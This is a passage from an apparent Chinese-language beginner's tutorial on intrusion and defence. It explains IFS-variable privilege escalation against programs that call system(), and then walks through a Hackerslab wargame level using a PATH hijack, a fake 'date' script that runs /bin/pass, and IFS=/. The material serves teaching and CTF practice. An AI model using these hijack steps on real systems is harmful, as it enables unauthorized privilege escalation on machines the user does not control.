关于文字描述符号问题,应该是程序员考虑的问题:自己是否恰当分配了文件描述字符;非必要的suid,guid的文件应该除去其属性等因素。系统很多安全的漏洞原因其实是由于平日对代码的不严格审查而产生的,这里是否值得我们这些程序员深思呢?对于不安全特性,不仅是用户的问题,而是整个网络帝国应该考虑的问题。 【输入域分隔符IFS】
“记起以前在Log指点我在hackerslab攻关日子真的很辛苦。其中有一道关就是理解IFS,从而得到通关密码。” IFS变量用于在shell环境中分隔所输入的执行。通常设置为空白符。一种攻击的方法是通过输入域分隔符(IFS)Shell变量得逞的。例如一个程序调用函数system()执行命令,那么该命令首先由Shell来分析。程序执行代码system("/bin/ls-l"),同时IFS变量被设置为包含“/”的字符,而一个恶意的程序被命名为bin并放在用户的PATH内,则该命令会被解释成bin ls-l,它执行程序bin并带有两个参数ls和-l,这就实现权限提升
下面是设置IFS的命令的例子:
$IFS=/
$export $IFS
有了以上理论基础,我们将对hackerslab的第四关进行讲解。
題目:
Steven 的慢动作是出了名的,他从來不会准时!他也察觉到這个问题,并且知道他必須做一点改变,他配合 `date` 這个指令,用 C 语言写了一个简单的工具,可以在他每次登录电脑用 YYYY-MM-DD 的格式显示目前的时间。他把它放在一个秘密的目录之中,因为他担心其他人会看见这个工具。把它找出來,并且获得进入下一关的密碼。 攻关步骤:
Steven程序date指令显示日期,因此在环境变量中设置命令执行路径先于原路径,并制造一个date脚本,就可以执行自己定义的date指令,从而获得执行执行/bin/pass的权利,获得密码:
1、设置PATH变量
PATH=~/tmp:$PATH
2、制作date
[level3]#vi date
#!/bin/sh
/bin/pass [level3]chmod +x date
3、由于程序使用date绝对路径,设置IFS为/
[level3]IFS=/
[levle3]export IFS
4、得到过关密码
[level3]./today
通过此题,对于IFS有了深入的理解。新版本的Unix系统已经能够忽略IFS的设置,所以对于现代主流的系统危害不算很大,不过由于入侵手法很精巧,因此加入文中。 *我们一直在尽力
耗费了几个通宵,总算完成了这片面向初级学者的入侵防御的文章。但是关于系统安全方面的很多领域我们仍然没有涉及,而且很多地方也是带领读者走马观花般的领略在入侵方面许多精致的思维和独特的创意,并没有做深入的分析和讲解,因为时间和工作关系,希望读者谅解。
然而,我希望这篇文章能起到一个抛砖引玉的作用,通过本文能激发各位的创造欲和对新事物探索的强烈渴望。使用自己无穷的动力和潜在思维在这里虚拟世界中创造更加美好的事物。

网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。

……

相关阅读